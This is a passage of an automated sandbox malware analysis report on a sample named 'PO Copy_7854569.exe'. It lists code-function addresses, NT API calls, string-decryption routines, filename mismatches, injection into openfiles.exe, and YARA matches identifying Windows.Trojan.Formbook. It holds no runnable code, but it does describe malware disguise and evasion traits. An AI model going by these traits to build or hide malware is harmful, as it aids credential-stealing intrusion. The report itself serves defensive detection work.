Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048C3D70 NtOpenThread, 8_2_048C3D70
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_02837720 NtCreateFile, 8_2_02837720
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_02837A00 NtClose, 8_2_02837A00
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_02837B50 NtAllocateVirtualMemory, 8_2_02837B50
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_02837880 NtReadFile, 8_2_02837880
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_02837960 NtDeleteFile, 8_2_02837960
Detected potential crypto function
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 0_2_016BDFCC 0_2_016BDFCC
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 0_2_076E3330 0_2_076E3330
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 0_2_076E8698 0_2_076E8698
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 0_2_076E62E0 0_2_076E62E0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 0_2_076E5EA8 0_2_076E5EA8
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 0_2_076E5E9A 0_2_076E5E9A
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 0_2_076E7DC0 0_2_076E7DC0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 0_2_076E7DBB 0_2_076E7DBB
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 0_2_076ED970 0_2_076ED970
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 0_2_076E7988 0_2_076E7988
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_004010C0 6_2_004010C0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0040F91C 6_2_0040F91C
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0040F923 6_2_0040F923
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_004031A0 6_2_004031A0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0042D243 6_2_0042D243
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_00401210 6_2_00401210
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_004162A1 6_2_004162A1
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_004162A3 6_2_004162A3
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0040FB43 6_2_0040FB43
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0040DBC3 6_2_0040DBC3
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_004025B0 6_2_004025B0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016C8158 6_2_016C8158
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01630100 6_2_01630100
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016DA118 6_2_016DA118
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016F81CC 6_2_016F81CC
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016F41A2 6_2_016F41A2
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_017001AA 6_2_017001AA
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016D2000 6_2_016D2000
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016FA352 6_2_016FA352
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0164E3F0 6_2_0164E3F0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_017003E6 6_2_017003E6
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016E0274 6_2_016E0274
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016C02C0 6_2_016C02C0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01640535 6_2_01640535
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01700591 6_2_01700591
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016F2446 6_2_016F2446
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016E4420 6_2_016E4420
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016EE4F6 6_2_016EE4F6
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01640770 6_2_01640770
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01664750 6_2_01664750
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0163C7C0 6_2_0163C7C0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0165C6E0 6_2_0165C6E0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01656962 6_2_01656962
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016429A0 6_2_016429A0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0170A9A6 6_2_0170A9A6
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0164A840 6_2_0164A840
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01642840 6_2_01642840
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166E8F0 6_2_0166E8F0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016268B8 6_2_016268B8
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016FAB40 6_2_016FAB40
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016F6BD7 6_2_016F6BD7
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0163EA80 6_2_0163EA80
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0164AD00 6_2_0164AD00
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016DCD1F 6_2_016DCD1F
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0163ADE0 6_2_0163ADE0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01658DBF 6_2_01658DBF
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01640C00 6_2_01640C00
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01630CF2 6_2_01630CF2
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016E0CB5 6_2_016E0CB5
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B4F40 6_2_016B4F40
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01682F28 6_2_01682F28
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01660F30 6_2_01660F30
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016E2F30 6_2_016E2F30
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0164CFE0 6_2_0164CFE0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01632FC8 6_2_01632FC8
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016BEFA0 6_2_016BEFA0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01640E59 6_2_01640E59
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016FEE26 6_2_016FEE26
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016FEEDB 6_2_016FEEDB
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01652E90 6_2_01652E90
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016FCE93 6_2_016FCE93
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0167516C 6_2_0167516C
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0162F172 6_2_0162F172
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0170B16B 6_2_0170B16B
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0164B1B0 6_2_0164B1B0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016F70E9 6_2_016F70E9
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016FF0E0 6_2_016FF0E0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016EF0CC 6_2_016EF0CC
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016470C0 6_2_016470C0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0162D34C 6_2_0162D34C
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016F132D 6_2_016F132D
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0168739A 6_2_0168739A
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016E12ED 6_2_016E12ED
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0165B2C0 6_2_0165B2C0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016452A0 6_2_016452A0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016F7571 6_2_016F7571
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_017095C3 6_2_017095C3
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016DD5B0 6_2_016DD5B0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01631460 6_2_01631460
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016FF43F 6_2_016FF43F
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016FF7B0 6_2_016FF7B0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01685630 6_2_01685630
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016F16CC 6_2_016F16CC
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01649950 6_2_01649950
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0165B950 6_2_0165B950
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016D5910 6_2_016D5910
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016AD800 6_2_016AD800
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016438E0 6_2_016438E0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016FFB76 6_2_016FFB76
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B5BF0 6_2_016B5BF0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0167DBF9 6_2_0167DBF9
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0165FB80 6_2_0165FB80
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B3A6C 6_2_016B3A6C
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016FFA49 6_2_016FFA49
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016F7A46 6_2_016F7A46
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016EDAC6 6_2_016EDAC6
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016DDAAC 6_2_016DDAAC
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01685AA0 6_2_01685AA0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016E1AA3 6_2_016E1AA3
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016F7D73 6_2_016F7D73
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01643D40 6_2_01643D40
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016F1D5A 6_2_016F1D5A
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0165FDC0 6_2_0165FDC0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B9C32 6_2_016B9C32
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016FFCF2 6_2_016FFCF2
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016FFF09 6_2_016FFF09
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01603FD2 6_2_01603FD2
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01603FD5 6_2_01603FD5
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016FFFB1 6_2_016FFFB1
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01641F92 6_2_01641F92
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01649EB0 6_2_01649EB0
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe Code function: 7_2_0389573A 7_2_0389573A
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe Code function: 7_2_038976BA 7_2_038976BA
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe Code function: 7_2_0389DE18 7_2_0389DE18
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe Code function: 7_2_0389DE1A 7_2_0389DE1A
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe Code function: 7_2_038B4DBA 7_2_038B4DBA
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe Code function: 7_2_0389749A 7_2_0389749A
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe Code function: 7_2_03897493 7_2_03897493
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0493E4F6 8_2_0493E4F6
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_04934420 8_2_04934420
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_04942446 8_2_04942446
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_04950591 8_2_04950591
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_04890535 8_2_04890535
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048AC6E0 8_2_048AC6E0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0488C7C0 8_2_0488C7C0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048B4750 8_2_048B4750
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_04890770 8_2_04890770
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_04922000 8_2_04922000
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_049441A2 8_2_049441A2
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_049501AA 8_2_049501AA
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_049481CC 8_2_049481CC
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_04880100 8_2_04880100
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0492A118 8_2_0492A118
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_04918158 8_2_04918158
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_049102C0 8_2_049102C0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_04930274 8_2_04930274
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_049503E6 8_2_049503E6
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0489E3F0 8_2_0489E3F0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0494A352 8_2_0494A352
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_04930CB5 8_2_04930CB5
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_04880CF2 8_2_04880CF2
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_04890C00 8_2_04890C00
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048A8DBF 8_2_048A8DBF
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0488ADE0 8_2_0488ADE0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0489AD00 8_2_0489AD00
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0492CD1F 8_2_0492CD1F
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0494CE93 8_2_0494CE93
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048A2E90 8_2_048A2E90
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0494EEDB 8_2_0494EEDB
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0494EE26 8_2_0494EE26
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_04890E59 8_2_04890E59
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0490EFA0 8_2_0490EFA0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_04882FC8 8_2_04882FC8
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0489CFE0 8_2_0489CFE0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_04932F30 8_2_04932F30
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048D2F28 8_2_048D2F28
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048B0F30 8_2_048B0F30
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_04904F40 8_2_04904F40
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048768B8 8_2_048768B8
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048BE8F0 8_2_048BE8F0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0489A840 8_2_0489A840
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_04892840 8_2_04892840
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048929A0 8_2_048929A0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0495A9A6 8_2_0495A9A6
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048A6962 8_2_048A6962
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0488EA80 8_2_0488EA80
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_04946BD7 8_2_04946BD7
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0494AB40 8_2_0494AB40
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0494F43F 8_2_0494F43F
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_04881460 8_2_04881460
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0492D5B0 8_2_0492D5B0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_049595C3 8_2_049595C3
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_04947571 8_2_04947571
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_049416CC 8_2_049416CC
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048D5630 8_2_048D5630
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0494F7B0 8_2_0494F7B0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048970C0 8_2_048970C0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0493F0CC 8_2_0493F0CC
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0494F0E0 8_2_0494F0E0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_049470E9 8_2_049470E9
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0489B1B0 8_2_0489B1B0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048C516C 8_2_048C516C
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0487F172 8_2_0487F172
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0495B16B 8_2_0495B16B
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048952A0 8_2_048952A0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048AB2C0 8_2_048AB2C0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_049312ED 8_2_049312ED
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048D739A 8_2_048D739A
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0494132D 8_2_0494132D
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0487D34C 8_2_0487D34C
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0494FCF2 8_2_0494FCF2
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_04909C32 8_2_04909C32
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048AFDC0 8_2_048AFDC0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_04893D40 8_2_04893D40
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_04941D5A 8_2_04941D5A
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_04947D73 8_2_04947D73
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_04899EB0 8_2_04899EB0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_04891F92 8_2_04891F92
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0494FFB1 8_2_0494FFB1
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_04853FD5 8_2_04853FD5
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_04853FD2 8_2_04853FD2
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0494FF09 8_2_0494FF09
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048938E0 8_2_048938E0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048FD800 8_2_048FD800
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_04925910 8_2_04925910
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_04899950 8_2_04899950
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048AB950 8_2_048AB950
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048D5AA0 8_2_048D5AA0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_04931AA3 8_2_04931AA3
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0492DAAC 8_2_0492DAAC
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0493DAC6 8_2_0493DAC6
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_04947A46 8_2_04947A46
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0494FA49 8_2_0494FA49
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_04903A6C 8_2_04903A6C
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048AFB80 8_2_048AFB80
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_04905BF0 8_2_04905BF0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_048CDBF9 8_2_048CDBF9
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0494FB76 8_2_0494FB76
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_02821340 8_2_02821340
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0281A7B0 8_2_0281A7B0
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0281C730 8_2_0281C730
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0281C509 8_2_0281C509
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0281C510 8_2_0281C510
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_02822E8E 8_2_02822E8E
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_02822E90 8_2_02822E90
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_02839E30 8_2_02839E30
Found potential string decryption / allocating functions
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: String function: 0162B970 appears 280 times
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: String function: 016AEA12 appears 86 times
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: String function: 01687E54 appears 111 times
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: String function: 016BF290 appears 105 times
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: String function: 01675130 appears 58 times
Source: C:\Windows\SysWOW64\openfiles.exe Code function: String function: 048FEA12 appears 86 times
Source: C:\Windows\SysWOW64\openfiles.exe Code function: String function: 0490F290 appears 105 times
Source: C:\Windows\SysWOW64\openfiles.exe Code function: String function: 0487B970 appears 280 times
Source: C:\Windows\SysWOW64\openfiles.exe Code function: String function: 048D7E54 appears 111 times
Source: C:\Windows\SysWOW64\openfiles.exe Code function: String function: 048C5130 appears 58 times
Sample file is different than original file name gathered from version info
Source: PO Copy_7854569.exe, 00000000.00000002.2000322290.00000000075B9000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename vs PO Copy_7854569.exe
Source: PO Copy_7854569.exe, 00000000.00000002.1981785201.000000000137E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameclr.dllT vs PO Copy_7854569.exe
Source: PO Copy_7854569.exe, 00000000.00000002.1985288574.00000000031D1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameSimpleLogin.dll8 vs PO Copy_7854569.exe
Source: PO Copy_7854569.exe, 00000000.00000002.2000181875.0000000007560000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameSimpleLogin.dll8 vs PO Copy_7854569.exe
Source: PO Copy_7854569.exe, 00000000.00000002.2003385709.0000000007EF0000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameTyrone.dll8 vs PO Copy_7854569.exe
Source: PO Copy_7854569.exe, 00000006.00000002.2120087862.00000000010FE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameopnfiles.exej% vs PO Copy_7854569.exe
Source: PO Copy_7854569.exe, 00000006.00000002.2120087862.00000000010D8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameopnfiles.exej% vs PO Copy_7854569.exe
Source: PO Copy_7854569.exe, 00000006.00000002.2120419715.000000000172D000.00000040.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs PO Copy_7854569.exe
Source: PO Copy_7854569.exe Binary or memory string: OriginalFilenamegTWh.exeJ vs PO Copy_7854569.exe
Uses 32bit PE files
Source: PO Copy_7854569.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Yara signature match
Source: 6.2.PO Copy_7854569.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 6.2.PO Copy_7854569.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000008.00000002.4439108659.0000000002AC0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
